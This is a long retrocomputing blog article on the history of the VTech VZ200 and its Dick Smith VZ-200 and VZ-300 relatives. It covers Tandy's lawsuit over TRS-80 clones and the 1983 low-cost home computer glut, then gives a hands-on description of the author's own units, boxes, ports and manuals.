The Sorcerer arguably found greater success in Europe than it ever did in the United States, particularly in the Netherlands where the licensed Compudata Sorcerer became the default government-supported educational system, and certainly in Australia due to Dick Smith's dogged promotion. Still, even in the US it was considered relatively expensive at $895 [$4580], and with tariff and import costs tacked on it didn't price itself well to the Aussie working class nerd . Conversely, the EACA Video Genie had meanwhile achieved some popularity of its own within Europe, notably West Germany, in no small part due to its lower cost. That alone made it a logical system to transition to, and better still, EACA had absolutely no objection to DSE outright rebadging it as a Dick Smith unit.

New for a new decade, the EACA Video Genie became the Dick Smith System 80 in (wait for it) 1980 and started at A$595 for a 4K version, approximately US$510 at prevailing spot rates and around US$2060 in 2026 dollars (the 16K version was A$695). Peter Hartley in Micro-80 disliked the altered keyboard (no CLEAR and TAB, no left and right arrows, up and down replaced by ESCAPE and CONTROL), complained about its changes to the character set and video circuitry, found the built-in cassette deck hideous, and noted the lack of board sockets and the missing-at-launch S-100 expansion box, but approved of the "brilliant" and "attractive" appearance, its overall functionality, and most of all its purchase price. "Even if you buy a decent tape deck from your local Big W and put it in the System 80," Hartley concluded, "you end up at least $150.00 [US$130 spot, US$520 in 2026 dollars] ahead — and that pays for your next 16K of RAM chips ... the machine has an identical computing capacity to the TRS-80, for a lot less dollars."

At this point it was inevitable someone would poke the Tandy bear, and that someone was Recortec (they're still around ), established in Sunnyvale, California in 1969 to specialize in magnetic tape recording technology. In 1980 Recortec, also attempting to expand their product base, opened Personal Micro Computers, Inc. (PMC) as a new venture in Mountain View, initially entering negotiations with Exidy to buy out the Sorcerer — until, through EACA's American subsidiary, they became aware of the Video Genie. To PMC/Recortec, the Genie was a remarkable opportunity, a less expensive TRS-80 compatible system already selling in Europe and entering the Australian market, and PMC now had the chance to corner it for American distribution. The company immediately backed out of the deal with Exidy, bought up Genie distribution rights in August for the entire Western Hemisphere, rebranded it as the PMC-80 and launched it in 1981 with 16K of RAM for $675 [$2330].

InfoWorld was more complimentary than Micro-80 had been, noting PMC's planned Fastload high-speed cassette scheme, a 50-40 adapter to connect Model I peripherals directly and a true lowercase conversion kit. "Tandy," said columnist Tracy Deliman, "is apparently curious now" — and in particular their attorneys, who promptly filed suit in federal court against both PMC and EACA of America, claiming, among other allegations, that the name PMC-80 infringed their trademark and that EACA and by extension PMC had committed copyright infringement as well by substantially copying the system ROMs. (Tandy didn't dispute the BASIC ROM, as that was licensed from Microsoft, but EACA and PMC dragged Microsoft into court with them anyway as a third-party defendant. Microsoft was a lot smaller then.)

In their motion to dismiss, PMC and EACA did not deny that the code had been copied and that then-current copyright law covered computer programs, but argued that section 117 of the in-force 1976 Copyright Act required the infringement claim to be interpreted according to the law prior to January 1, 1978 ("this title does not afford to the owner of copyright in a work any greater or lesser rights with respect to the use of the work in conjunction with automatic systems capable of storing, processing, retrieving, or transferring information, ... than those afforded to works under the law, whether Title 17 or the common law or statutes of a State, in effect on December 31, 1977"). Robert Peckham, chief judge for the Northern District of California, disagreed in August 1981 and denied the motion, writing "that section 117, as it existed in the 1976 act, was aimed at the problem of copyrighted material inputted [sic] into a computer, such as books, magazines, and even computer programs. It was not intended to provide a loophole by which someone could duplicate a computer program fixed on a silicon chip." Moreover, even if it did, "[t]he plaintiff has suggested that the evidence may well show that the chip was duplicated by first taking a visual display or printout of the program in question ... If this method of unauthorized duplication in fact is proved, there can be no doubt that the unauthorized duplication of a visually displayed copy of the program would fall within the reach of the federal copyright laws."

The case was quietly settled out of court, and although it obviously didn't enjoin EACA outside of the United States, domestically PMC replaced the line with the CP/M-based MicroMate in 1983. By then, and unknown to his backers, Eric Chung's failed investments in the Hong Kong real estate market had put him millions of dollars in debt. In October 1983 he abruptly fled to Taiwan reportedly with $10 million stuffed in a suitcase, leaving EACA to quickly fold. Simultaneously, Dick Smith sold a 60% stake in Dick Smith Electronics to Woolworths (the Australian version) later in 1980 and then the rest in 1982, leaving only his name and his bespectacled grin to remain at the company he founded. Although DSE sold the Video Genie's modestly upgraded direct successors also as System 80 variations, the System 80 family never included the Colour Genie, EACA's last system before its ignominious demise. PMC's former headquarters in Mountain View are now collectively Google Building E475.

Back in Hong Kong, VTech had come to a similar conclusion about the TRS-80's cloneability but approached it from the opposite end of the market, more congruent with their low-end toy and electronics emphasis. This strategy was bolstered by the successful 1980 UK introduction of the Sinclair ZX80, the first computer under £100, about US$225 spot and US$910 in 2026 dollars (cheaper still if you built it yourself). By any objective criterion, even contemporary ones, the ZX80 was an exercise in deprivation: a membrane keyboard, a software-generated black-and-white text-and-semigraphics screen that required its unlicensed (!) NEC Z80 clone CPU to devote much time to drawing it (or not), 1K of RAM (shared with the 32x24 screen), no audio, and simple cassette output. Reviewers found them unreliable and they overheated easily. They also sold like hotcakes — by the end of 1980 over 9,000 were being produced a month — and so did the modestly upgraded 1981 ZX81, which enhanced the BASIC and reduced the hardware to just a handful of chips, making it even cheaper to produce. Regardless, or perhaps because, of its faults, the machines endeared themselves to thousands of Britons who might not have been able to afford a computer otherwise, becoming their first step to computer literacy .

The success of the ZX80 suggested other dirt-cheap home computers might also flourish. VTech accordingly began developing a low cost computer of their own in 1981 that could work like the TRS-80, planning to adopt its BASIC (and thus its Z80 CPU) much as crosstown rival EACA did and speed time to market, but by explicitly abandoning compatibility they were free to slash its production cost as much as practical. A substantial reduction in part count became possible immediately by using the inexpensive Motorola 6847 Video Display Generator, introduced in 1978, which replaced nearly the entire video system: with minimal support circuitry, the VDG chip could generate a 32x16 text display, comparable to the TRS-80 and Video Genie's 32-column mode for colour TV sets, 64x32 colour semigraphics reminscent of the same, and a variable high-resolution bitmap display depending on available memory. On top of that, the entire system could run from the VDG's standard 315/88 (3.58MHz) crystal, including the Z80, and part count could be reduced even more for a black-and-white low binned model by omitting the colour encoder completely. Everything else (cassette output, keyboard lines) could be supported with discrete components and a handful of TTL logic, price could be adjusted further on the basis of included RAM, edge connectors wired to the processor bus would suffice for peripherals and expansion, and any sort of keyboard would be a step up from a flat membrane.

While the low-end computer was in development, VTech also hedged its bets with a higher-spec video game system, which typical for the era (see, for example, the Intellivision Keyboard Component) was convertible into a home computer of its own. This console was likewise built from off-the-shelf components, using a 2MHz Rockwell 6502 CPU and the Texas Instruments TMS9918A for graphics, 17K of RAM (1K for the 6502's zero page, stack and low memory, and the other 16K for the VDP), and controllers that doubled as a membrane keyboard when used with the optional BASIC cartridge. It shared no parts or significant engineering with the computer prototype and proceeded along a largely separate development track, released to select European test markets first as the VTech CreatiVision in 1982.

Meanwhile, Sinclair Research and manufacturing partner Timex Corporation subsequently joined forces to launch the Timex Sinclair 1000 in the United States, a slightly reconfigured ZX81 with NTSC-compatible video output and 2K of RAM, but otherwise identical. It hit stores in the summer of 1982 at the same psychologically desirable price point, now US$100 [$345], though Timex Sinclair didn't get the bargain American home computer market to itself like the ZX80 mostly did in the UK: it now had to contend with Commodore, selling the VIC-20 as their well-supported low-end system, plus the ailing Atari and their Atari 400, Tandy's own TRS-80 Color Computer, and even Texas Instruments, then only months away from igniting a price war using the TI-99/4A . Nevertheless, industry observers generally believed the T/S 1000 would be a strong competitor, and its debut led to an accelerated scramble from VTech and others hoping to duplicate the ZX80/1's success. VTech identified two overall product positions, a super-low-cost black-and-white variation with Microsoft Level I BASIC for selected markets, and a colour model with full Microsoft Level II BASIC, each of which VTech intended to sell both under its own name and as an OEM. To prepare for the American launch of the nearly complete low-end computer and the CreatiVision, VTech opened a U.S. subsidiary that year in Elk Grove Village, Illinois outside Chicago (the picture above is from VTech's history page).

1983 in the United States was the year the low-end home computer market exploded, and a cavalcade of hopeful new market entrants crowded that year's shows. At the January Winter Consumer Electronics Show in Las Vegas (above from Computer Gaming World issue 3.2), it took the Las Vegas Convention Center, the Hilton Convention Center, the Riviera Convention Center, the rest of the Riviera and the old Rotunda to contain it all. Mattel introduced the Aquarius for $199 [$670] licensed from Radofin, also in Kwun Tong

(with a 3.58MHz Z80A and 4K of RAM, cassette storage, no bitmap graphics option and a rubber chiclet keyboard), Texas Instruments hawked the TI-99/2 for $99 [$330] (with a 2.7MHz TMS9995, 4K of RAM, cassette storage, no bitmap graphics option and no colour, and a plastic chiclet keyboard), Sanyo proffered the PHC-20 also for $99 as the midrange of the pocket computer PHC-10 and higher-end PHC-25 (with a 3.58MHz Z80 clone and 4K of RAM, cassette storage, no bitmap graphics option and no colour, and a rubber chiclet keyboard), and at the higher end came the Panasonic JR-200U for $349 [$1170] (with a 0.89MHz 6800 clone and 36K of RAM, cassette storage, no bitmap graphics option, and a rubber chiclet keyboard), the NEC PC-6001 also for $349 (with a 4MHz Z80 clone and 16K of RAM, cassette storage, but bitmap graphics and a rubber chiclet keyboard that was quickly replaced with a typewriter-style one), and the Spectravideo SV-318 for $299 [$1000] (with a 3.58MHz Z80 and 16K of RAM, also bitmap graphics, and a rubber chiclet keyboard). There were multiple conversion kits to turn the Atari 2600 VCS into a low-end computer of its own, several with rubber chiclet keyboards, and even a completely unlicensed ripoff of the T/S 1000, the Unisonic Futura 8300 (with a rubber chiclet keyboard) for $99. Not to be outdone, Timex Sinclair themselves announced the T/S 2000, a modified US version of the ZX Spectrum, with 16K or 48K of RAM, a 3.5MHz Z80, colour bitmap graphics and a rubber chiclet keyboard; the 16K version started at just $150 [$500].

The latecomers arrived at the Summer CES in Chicago, though by that point the rot was already setting in. Against the background of Commodore slashing prices even lower on the VIC-20 and C64 to Texas Instruments' profound discomfort, Mattel suddenly decided the Aquarius needed a sequel (i.e., the other system Radofin was developing; price point to be determined but without a rubber chiclet keyboard); Timex Sinclair replaced the T/S 2000 with the enhanced T/S 2024 and T/S 2048 with higher resolution graphics, more RAM and a plastic chiclet keyboard, plus an upgraded T/S 1500 which was a T/S 1000 with 16K of RAM and a rubber chiclet keyboard; Rabbit Computer (who? also from Hong Kong) introduced its own Z80-based Rabbit RX83 with 2K of RAM, BASIC, three-channel sound, cassette storage, bitmap graphics and a plastic chiclet keyboard for $99; and Tomy unveiled the Tomy Tutor for "under $150" [$500] with a 2.7MHz TMS9995 (from a 10.7MHz crystal), 16K of RAM, cassette storage, bitmap graphics and a rubber chiclet keyboard. In the fall Tandy, never one to be left out of a race to the bottom, delivered the MC-10 Micro Color Computer for $120 [$400] with an 0.89MHz 6803 and 4K of RAM, cassette storage and bitmap graphics, and a rubber chiclet keyboard. Even Commodore, failing to learn its lesson from the critically maligned Max Machine , was working on their own ultra-low-end family of computers to follow on to the C64 — one of which (the 116) would have a rubber chiclet keyboard.

And, oh yeah, one other system made its debut at the Winter show.

COMPUTE! in their March 1983 reporting called it "the first under-$100 [$330] color computer." Anticipated to hit American store shelves in April, the new VTech VZ200 featured 4K of RAM (expandable to 16K for $45 [$150] and 64K eventually), 12K of ROM (remember these numbers) with BASIC, and a simple push-pull piezo for sound. Two kilobytes of the 4K was allocated to the 6847, which used it to generate its default 32x16 text display, 64x32 semigraphics or 128x64 bitmap graphics. It had built-in jacks for cassette, TV and composite video, and shared its booth with the CreatiVision which VTech planned to sell States-side for $189 [$630], with the BASIC cartridge for $10 [$33] and an inevitable rubber chiclet keyboard for $30 [$100]. It isn't clear where the name VZ200 came from, possibly a riff on "ZX," but the computer's low cost even amongst a sea of low-cost computers still attracted positive attention.

Creative Computing got a 4K VZ200 in for review in their May issue (accounting for publishing delays this would have to have arrived in February or early March), though they noted that they had no chance to try the peripherals or software. The article has some glaring technical errors — among others, they said the CPU was a 6502 — but reviewer David Ahl called the machine "a compact microcomputer with a great deal of capability and many unexpected features at a very attractive price." Although the review found the 4K of RAM "sparse" and was openly critical of the keyboard, particularly the absent space bar, single SHIFT key, nonstandard layout and the keys' inconvenient tendency to stutter, Ahl was nevertheless impressed by the full-screen editor ("a pleasure") and the 12K ROM implementation of BASIC (unbeknownst to him, secretly derived from the TRS-80 with added support for the on-board hardware), concluding the VZ200 to be "a great value for the suggested retail price of under $100."

There are certain attributes of the machine shown in both the COMPUTE! and Creative Computing photos that don't match released units, but we'll address this later on.

Collectively American industry rags used various euphemisms like "low cost home computers" and "computers under $300," like this Creative Computing Winter CES cover showing the VZ200, the Timex Sinclair 2000 (in its original form), the Texas Instruments 99/2, the Mattel Aquarius and the Spectravideo SV-318. Personally, however, I lump these computers together as the "crap home computers." I use this term with only love, and this uniquely terrible subtype of the home computer was indeed greatly loved, because as the ZX80 had demonstrated, ordinary people could now finally afford them. Heck, my first computer — the Tomy Tutor, introduced at Summer CES — was one of these 1983 crap home computers because it's what we could afford. We couldn't afford a Commodore 64 right then, but we could afford that . Not for nothing did Jack Tramiel thunder, "computers for the masses, not the classes!"

What these systems all had in common, other than crummy keyboards, a striking preference for the Z80 and an unabashedly low starting price, was aspirational and arguably fraudulent marketing, plus inadequate specifications requiring upgrades at additional cost to be practical — if there were any to begin with — alongside substandard quality control, a poor selection of software, and weak to non-existent customer support. Made cheap to sell cheap, most of these computers failed outright (e.g., the Mattel Aquarius) or were never even released (e.g., the TI 99/2).

The glut that hit the U.S. market that year not only soured many American consumers on home computers generally, but their game-heavy libraries were also likely a contributing factor to the 1983 video game crash. Although managing to move over half a million units, Timex Sinclair was not immune to this effect, and the company became unprofitable as the sales crossfire between Commodore and Texas Instruments forced the T/S 1000's street price below $50 in mid-1983. The situation was compounded by Timex's ill-considered decision to make the more expensive T/S 2068 (the eventual sole member of the 2000 family) largely incompatible with the ZX Spectrum, robbing it of the extensive British Spectrum software library, and the joint enterprise that was once expected to dominate the American home computer market collapsed in early 1984. Even large players like Texas Instruments and Warner Communications-era Atari took hundreds of millions of dollars in losses, with only Tandy (due to their strong retail presence) and Commodore (due to the C64's prodigious installed base and their vertically integrated manufacturing) able to weather the maelstrom effectively.

VTech suffered nearly as badly in the United States as the others, severely harming the VZ200's North American launch and forcing the States-side CreatiVision release in its console form to be cancelled completely. Fallout from the Tandy EACA-PMC lawsuit further unsettled VTech management, causing them to remove more obvious signs of their unlicensed Microsoft BASICs' original TRS-80 provenance and disable certain keywords (more on that later). For Summer CES 1983 VTech attempted to recover by reworking their then-disorganized and otherwise unrelated computer offerings into a unified "Laser" brand. The VZ200 and the CreatiVision's computer morph accordingly became the Laser 200 (still $99) and Laser 2001 (now $299 [$1000]) respectively, and VTech added their own 64K Apple II clone, the Laser 3000, for $699 [$2300].

But by then it was too late. Although VTech never attempted to introduce the black-and-white model in America — and the T/S 1000's plummeting price would have made it impossible to make money on anyhow — the colour VZ200 fared little better, virtually disappearing from North American store shelves by the end of 1983 with no evidence any Laser 200 units were ever sold there under that name. In Family Computing 's inaugural September 1983 issue the columnists mention the SV-318 and even the stillborne T/S 1500, but nothing on the Lasers, and Creative Computing around that time was only running ads for the 3000. A few VZ200s were rebadged by Texas door-to-door nuisance business Dynasty Computer Corporation as the Smart Alec Jr., though like their multi-level marketing attempt at rebadging the spent Exidy Sorcerer, they sold barely at all (the company folded in November). On the other hand, the (now) Laser 200 got off the ground in Europe under its own name and others, most notably through Sanyo, but also through Salora, Seltron and Texet. It launched there alongside the black-and-white model as an ultra-low-end system, originally dubbed the Laser 100, but after the ROM change becoming the Laser 110 with the same Level II BASIC of the colour version.

However, there was one market where the VZ200 had particularly strong success, and that was of course Australia, though not exactly in its original form. History does not preserve the thought process of Dick Smith Electronics management, but DSE's probable aim was to nose past the Commodore VIC-20 on price and capability (DSE themselves even sold them for a time), which was colour and shipped with 5K RAM. That immediately excluded the black-and-white variation, since the ZX81 had since landed in Australia and the potential profit margin wasn't enough to bother, and it is instead more likely that during negotiations DSE prevailed upon VTech to strengthen the colour system and keep the price low. VTech's solution was a small 6K daughterboard retrofit that could replace the 2K system RAM chip, internally expanding the unit to a more appealing 8K (the other 2K video RAM chip was left unmolested) while still being able to use previously manufactured components. This modified VZ200, badged as a Dick Smith computer and subsequently sold elsewhere by VTech as the Laser 210, appeared in the 1983-84 catalogue as "new for 1983" at just A$199 [approximately US$220 spot and US$720 in 2026 dollars].

Although Tim Hartnell in his Australian Personal Computer April 1983 preview speciously characterised it as "to Dick Smith's specifications" (likely only the RAM complement was), he got quickly used to the keyboard, approved of the BASIC implementation (faster than the ZX Spectrum's) and full screen editor, noted the characters to be "rather like those produced by the TRS-80 Color Computer" (true!), and compared the memory loadout favourably to the VIC-20's. He was similarly pleased with the cassette tape performance and the included documentation, with about his only complaint being the weak sound. His editor Sean Howard was equally impressed, famously remarking that "I'm certainly going to buy one," which DSE promptly and repeatedly used in their advertising.

The computer became an immediate hit via DSE store shelves and mail order starting in May, sold with DSE's own tape software and rebranded VTech peripherals such as the essential 16K memory expansion pack. It launched simultaneously with Dick Smith's rebadge of the hapless CreatiVision, sold as the Wizzard [sic] for A$295, both the first of many VTech rebadges DSE would eventually sell. Although nothing was going to catch the Commodore 64 by then, which had the same stratospheric sales there as it did most other places, the DSE VZ-200 had the added good fortune of ZX Spectrum manufacturing issues that eroded its availability, giving the DSE VZ-200 almost unrestrained run of the Aussie low-end market from which the VIC-20 was already fading and the ZX81 all but gone. In 1984 it remained a strong seller at its new lower price of A$169, dropping to A$99 by the end of the year.

I think that suffices for a more detailed backstory; we'll talk a little more about its later history in Australia and VTech's overall as a postscript at the end. For now, we'll turn our attention to this orphaned American unit. A convention I'll establish from now on in this and future articles: although Dick Smith was not consistent on the hyphenation, variously rendering it VZ-200 and VZ200, in the few places it appears the American version was invariably written without one, so I'll write "VZ200" for the North American computer and "VZ-200" for the Australian computer.

This VZ200 set was from an eBay auction a few years ago that I dug out from the storage unit to test since I hadn't really worked with it much. By this point I'd acquired a Aussie VZ-200 and VZ-300, which we'll get to in a moment, so it was nice to pull this American unit back out as comparison. It came with the 16K RAM expander and a set of joysticks.

The box advertises 9 colo(u)rs, 16K "bytes" of ROM — more than the 12K of the CES units — Microsoft* BASIC, though the asterisk only indicates it's a trademark, "full on-screen editing" and "advanced graphic & sound features." A red flourish at the bottom prominently touts its "4K BYTES" of RAM.

The side of the box has some alleged screenshots. My personal favourite is the police officer game in which you apparently either have severe haematuria or recently took rifampin and pee red onto passing cars, or at least that's what I think is going on. I enjoyed Potty Pigeon on the C64, so this would seem like my kind of game. Unlike the front and a couple of the side panels which are English-only, this side is labeled in English, German, French and Spanish, where you can easily find the biblioteca . You can also see more clearly that the red blurb on top advertising "WITH 4K BYTES RAM" and "NTSC 4K" is in fact a sticker, so this box was almost certainly not exclusive to North America and may not have been exclusive even to 4K systems.

The back of the box is also labeled in all four languages and purports to show the VZ200 as part of this complete breakfast with a light pen, "television or monitor," joystick, cassette, "16K/64K RAM memory expansion module," and printer interface. The light pen, interestingly, was unavailable on either side of the Pacific, though it was sold for the Laser series in Europe and would work unmodified with the VZ-200. On the other hand, I can't find any evidence that anything other than the joysticks and 16K expander were sold in North America, and I have never seen a 64K expander (though I am told it exists).

Two of the boxes have price tags, the computer and the RAM expander, but unusually the computer started at $129.95 and then got increased to $149.95. Neither price matches its well-documented MSRP of $100. Unfortunately I can't make out the actual retailer, even with an extreme enlargement.

On the RAM expander box, however ($69.95), the store's name is legible: Heathkit. Zenith Radio Company (now Zenith Electronics, a subsidiary of LG), which had acquired the hobby electronics retailer in 1980, poured substantial money into expanding the firm as a Radio Shack competitor. This extended to opening a number of Heathkit Electronic Centers across the United States and also in Canada, where there were outlets in (at least) Mississauga, Calgary, Edmonton, Montreal, Ottawa, Vancouver and Winnipeg.

Although the eBay seller was also American, I've concluded that these were likely products produced for the United States but ultimately sold in Canada, possibly as remaindered stock. For readers outside of North America, Canada used the same NTSC video standard and 110 VAC outlets, so it would have "just worked." Also, the 1983 Canadian dollar exchange rate was roughly about C$1.23 per US$1, explaining at least the initial price, and while the lack of markedly predominant French labeling might have prevented its sale in the Montréal outlet, that wouldn't have enjoined it elsewhere. As far as its provenance, however, the fact it wasn't labeled that way suggests Canadian sale was not initially contemplated, and it also has U.S. Federal Communications Commission clearance (I'll show you in a bit).

The computer sits inside a Styrofoam sandwich as most systems were shipped at the time. There's a small amount of scuffing which I'm not pleased about but also means this machine at least did get used.

Compare the label and the keyboard to the previous COMPUTE! and Creative Computing pictures. Those earliest systems are labeled as a "VZ200 Personal Computer," not a "VZ200 Color Computer," and the colour labels over the number keys were absent. In fact, this same keyboard is used for the B&W Laser 110, though those early VZ200 systems must have been colour given that their colour capabilities were widely reported at the time. On the other hand, the VZ-200 that appeared in very early Dick Smith marketing like the flyer above was labeled a "VZ200 Color Computer" exactly like this one, including the American spelling.

The keyboard consists of 45 keys, with a bottom right SPACE key in the corner, only one SHIFT on the bottom left, and no ESCape key. Necessarily, many have multiple functions accessible with the CTRL key or CTRL-ENTER key combo. Most of these alternative functions are one-touch BASIC keywords like the Sinclair machines, though unlike those computers, you are not obligated to use them and can spell keywords out if you want. Semigraphics characters are also selected by key combination, as well as moving the cursor, inserting and deleting characters, and interrupting a BASIC program.

Inside the box is a demonstration tape, a heavy unregulated wallwart that would likely dent your skull if lobbed incautiously (outputs a nominal 8V DC 1.5A centre positive), an RCA cable for connection to a TV set (but no switchbox) or monitor, the user manual, a BASIC "application programs" book with simple sample BASIC programs for type-in, and a larger spiral-bound BASIC reference manual. Under the manuals is a 1/8" audio cable for the cassette port terminating in input (black) and output (red) leads.

I was immediately suspicious of the wallwart and bought a regulated 9VDC 2A switched wallwart to replace it (the machine will run fine at this voltage). The user manual proper is very sparse, mostly just how to hook the computer up. The BASIC "reference manual" picks up from there, less an encyclopaedic reference text than an in-depth tutorial.

The rear ports consist of, from left/west to right/east in this view, power jack, cassette jack, RCA jack for composite video, the expansion port, the peripheral port, and finally RF output for a TV set. There are no slots on the sides, only a single rocker power switch. The main difference between the expansion and peripheral ports is that the expansion port gets the full 16-bit address bus and certain other processor lines, while the peripheral port (also referred to as the I/O port) only sees the lowest eight bits of the address bus — all that would be required for using the Z80's 256 I/O ports — and a smaller set of control lines.

Notice the peripheral slot still has its cover on it, secured by two small screws, which ordinarily would have been removed before use. This is where the joysticks and printer interface (again, I have found no evidence it was ever sold States-side) would have connected, and we'll see why it was never used shortly. There should be a cover for the expansion slot also, but it was removed, because the 16K RAM expander connects there. The cover is not in the box and I'll presume it was lost or destroyed by the previous owner. That's annoying from a preservation perspective, but no great loss functionally, because we'll have something plugged in there pretty much all the time later on.

The underside of the unit is also noteworthy (serial# V078451). For this discussion I invite comparison with Bill Loguidice's computer (serial# V024662), which he has since sold but pictures are still on the Wayback Machine , and is the only other NTSC VZ200 unit I have seen myself. Both his and mine have a "VZ200 Color Computer" bottom plate with a copyright date of 1982, and both have US FCC clearance tags and an RF switch to pick the channel (2 or 3). There are passive cooling vents on both sides, though given the fairly small amount of clearance its rubber feetsies afford from one's desk I hesitate to say they'd be effective. (At least they let you hear the piezo speaker.) There is also a small red sticker on the bottom which on mine is partially missing, but Bill's has a complete one, which reads "U NTSC 4K." I put a small piece of transparent tape over the sticker on mine to prevent further damage. Bill's unit also has both port covers.

Although the serial number indicates his is a rather older unit, which we'll in fact confirm later, the label and keyboard are the same as mine and not those earliest CES models. Both units have FCC Part 15 clearance, specifically as a Class B computing device for home use; at the time Class B regulations were very strict and we'll see a consequence of that inside. The FCC ID is BNX84H80-0323 , with an equipment authorization (EA) applied for February 10, 1983 and granted May 9, 1983. Accounting for publishing delays, this means Creative Computing must have had a pre-authorization prototype for their review. VTech later applied for a revised equipment authorization on July 11, 1983 and was granted BNX84H80-0323-1 on October 11, 1983; this change may have been for redesignation as the Laser 200. The listed address for VTech in Hong Kong appears on all entries for FCC grantee BNX and doesn't seem to have been their corporate address at the time, but the tester in both EAs is one Thomas Cokenias from Electro Service Corp., at 1116 Ninth Avenue in San Mateo, California, and Cokenias and Electro Service are seen in other EAs around that time for other Hong Kong manufacturers. However, the given address appears presently unoccupied, and the California Secretary of State indicates Electro Service is no longer in business.

The other two boxes contain the RAM expander and the JS-20 joysticks/JI-20 joystick interface. Now we see why the peripheral port cover was still on: these joysticks are unused, still in their original bag and packaging. (Note from the future: as we'll see, many games play just fine on the keyboard, so the prior owner may never have needed them.) Though the joystick interface comes with a small instruction pamphlet, the RAM expander does not. Bill did not have either of these devices and that's likely why neither port on his machine was ever used.

Let's get out the rest of the family. VTech continued the evolution of the Laser 200 series with the Laser 310, a cost-reduced upwardly compatible version that used several gate array chips instead of discrete logic, but added more RAM (16K plus the 2K video RAM) and, for the first time, a proper keyboard with real keycaps and even a space bar. This time there would be no NTSC version; the 310 was never even announced in North America, instead launching in April 1984 at CeBIT in West Germany. It was sold in at least that country as well as France and mainland China, and Dick Smith picked it up for 1985 as the A$199 VZ-300. VTech had also developed a disk drive upgrade for the series, which DSE eagerly sold, and virtually all of the VZ-300 peripherals except its 16K RAM expansion (due to differing address mapping) would work on the older machine because many of them were effectively unchanged except for the labeling. (The address mapping difference is also why the VZ-200 16K RAM expander will work on the VZ-300, but only giving you an additional 8K.)

Although there have been various other members spotted in the Laser 300 series, apparently differing only in RAM size or case type, none were reportedly sold widely if at all.

The VZ-300/Laser 310 is otherwise nearly totally compatible with the VZ-200/Laser 210 except for its clock speed. As NTSC compatibility was no longer required, VTech switched to a single 17.734475MHz master crystal divided by four for the 4.43361875MHz PAL colourburst and five for the 3.546895MHz CPU clock. (The Motorola 6847 VDG in the VZ-300 and PAL systems generally is clocked with an altered signal which I'll talk about when we open the machines up.) Although that makes the VZ-300 slightly slower at 99.09% the speed of the VZ-200's 3.5795454MHz (315/88) oscillator, in practical terms the difference was imperceptible with most existing software — but of course it's going to be a problem for us later. VTech did no other upgrades, not even offering an alternate 6847 font ROM with lowercase, though we'll talk more about that when we get to the innards as well.

The DSE VZ-300 and VZ-200 have prominent Dick Smith branding and are both labeled as "Personal Colour Computers." The keyboard layout of the VZ-300 is almost identical to the VZ-200 except for a second SHIFT key where the SPACE key used to be and then an actual SPACE bar below that. The keys are wired the same for compatibility, however, so the two VZ-300 SHIFT keys look like the VZ-200's single SHIFT key, and the left/right/up/down cursor block on M, comma, period and SPACE is necessarily broken up on the VZ-300 because of the SPACE key moving below to the larger SPACE bar. Early VZ-300s had brown keycaps with varying labeling, but later units like this one from about 1987 on have platinum-coloured keycaps that match the case. The effect is (probably intentionally) reminiscent of the Commodore 64C, just shorter.

I don't have all the accessories with my VZ-200 that I do with my VZ200, nor do I have its original Dick Smith retail box, but for the ones I do have I've compared them together in this photograph: the two main computers, their demonstration cassette tapes, and various documentation. The VZ200 BASIC Reference Manual and the Dick Smith Basic [sic] Reference Manual both appear to be identical down to the use of American spelling, even in the Aussie version, which calls into question the claim in Hartnell's review that it was written by VTech "under strict instructions by Jime Rowe [Jamieson Rowe] of Dick Smith Electronics" even though it is also not unreasonable to believe that DSE had some role in shaping it.

On the other hand, one manual unique to the VZ-200 was the Technical Reference Manual (TRM), which Rowe, by then highly placed in the Dick Smith organisation, wrote himself from VTech internal documents. This slim A4 book was never sold in America, and was a Christmas gift from my wife (I married well). The DSE pricetag on the back gives its price as A$9.50 but I don't know where or when it was originally purchased. While the TRM does not approach the sheer detail of, say, the Commodore 64 Programmer's Reference Guide, which even has an exhaustive memory map covering its 64K of RAM and 20K of ROM, it does include documentation on most of its important RAM locations and a full set of schematics, some of which we'll be using in this very article. A similar manual exists for the VZ-300 with its own set of schematics, which also discusses the VZ-200 and has some details not in the earlier text.

My VZ-300 system has more of the peripherals but little documentation. Displayed here clockwise from the lower left/southwest corner is a VZ-ASTEROIDS tape sold by DSE that would work on a VZ-200 with RAM expansion also, the VZ-300 Centronics printer interface (also works on a VZ-200), VZ-300 16K RAM expansion module, its own set of JS-20 joysticks and JI-20 interface (identical, differing only in badging), and its demonstration cassette.

On the underside my Aussie VZ-200 (serial# V027967) has a custom Dick Smith plate copyright 1983 and some quality control stickers, but no FCC badge. Although the aperture for the channel switch is still present, it has no actual switch. On the other hand, for the VZ-300 (serial# V224844) the switch was repurposed for black-and-white or colour output, which disables or enables the colour encoder circuit as appropriate. Interestingly the VZ-300's plate does not mention Dick Smith at all, nor have a Dick Smith part number or even a copyright.

A single teal sticker on the VZ-300 says "PAL-V 18K." This likely means VHF because the DSE VZ-300 sends its TV signal on Australian channel 1 (57.25MHz), and the VZ-300 schematics show separate circuits for PAL-V and PAL-U, which accordingly would be UHF.

Although the ports are the same too, when I got my VZ-300 it had already lost both its port covers.

The demo tape appears to be exactly the same between all three systems. While my DSE VZ-200 tape is missing its label insert, here is the one for my American VZ200 ...

... and on the right, for the VZ-300. You'll note they are almost exactly identical, including the idiosyncratic "Have Fun [sic] with your demonstration programs!!!" step 11, and also use American spelling; the only differences are the part number in the lower left, and the absence of a copyright message on the VZ-300 insert (replaced with "MADE IN HONG KONG"). On the left is the insert for the Asteroids tape, though it seems to only have generic loading instructions.

At the time DSE Pty Ltd was on the corner of Lane Cove Road and Waterloo Road in North Ryde, New South Wales (today postcode 2113 is Macquarie Park). This location housed a retail store and their main warehouse, which remained in operation until around 2001 when the warehouse was moved to Chullora

(for Los Angeles residents, read "Vernon"). The North Ryde building was subsequently occupied by German truck and bus manufacturer MAN, whose old stripped logo can still be seen on the facade, and is now split between multiple tenants.

This is how my PAL VZ-200 comes out on my trusty NTSC Commodore 1702 monitor, the best JVC CRT screen Commodore ever rebadged. The picture rolls a bit and there is of course no colour (because it's being encoded for PAL) but it's enough to show you the ROM version, which is 2.0. These were the last ROMs used in the Laser family and are the same ROMs in the VZ-300 as well. This setup also serves as a weak mockup of what an American black-and-white VZ system might have looked like — everything could otherwise be the same modulo the absence of a colour signal. The character glyphs come from the default Motorola 6847 font ROM built in to the video chip.

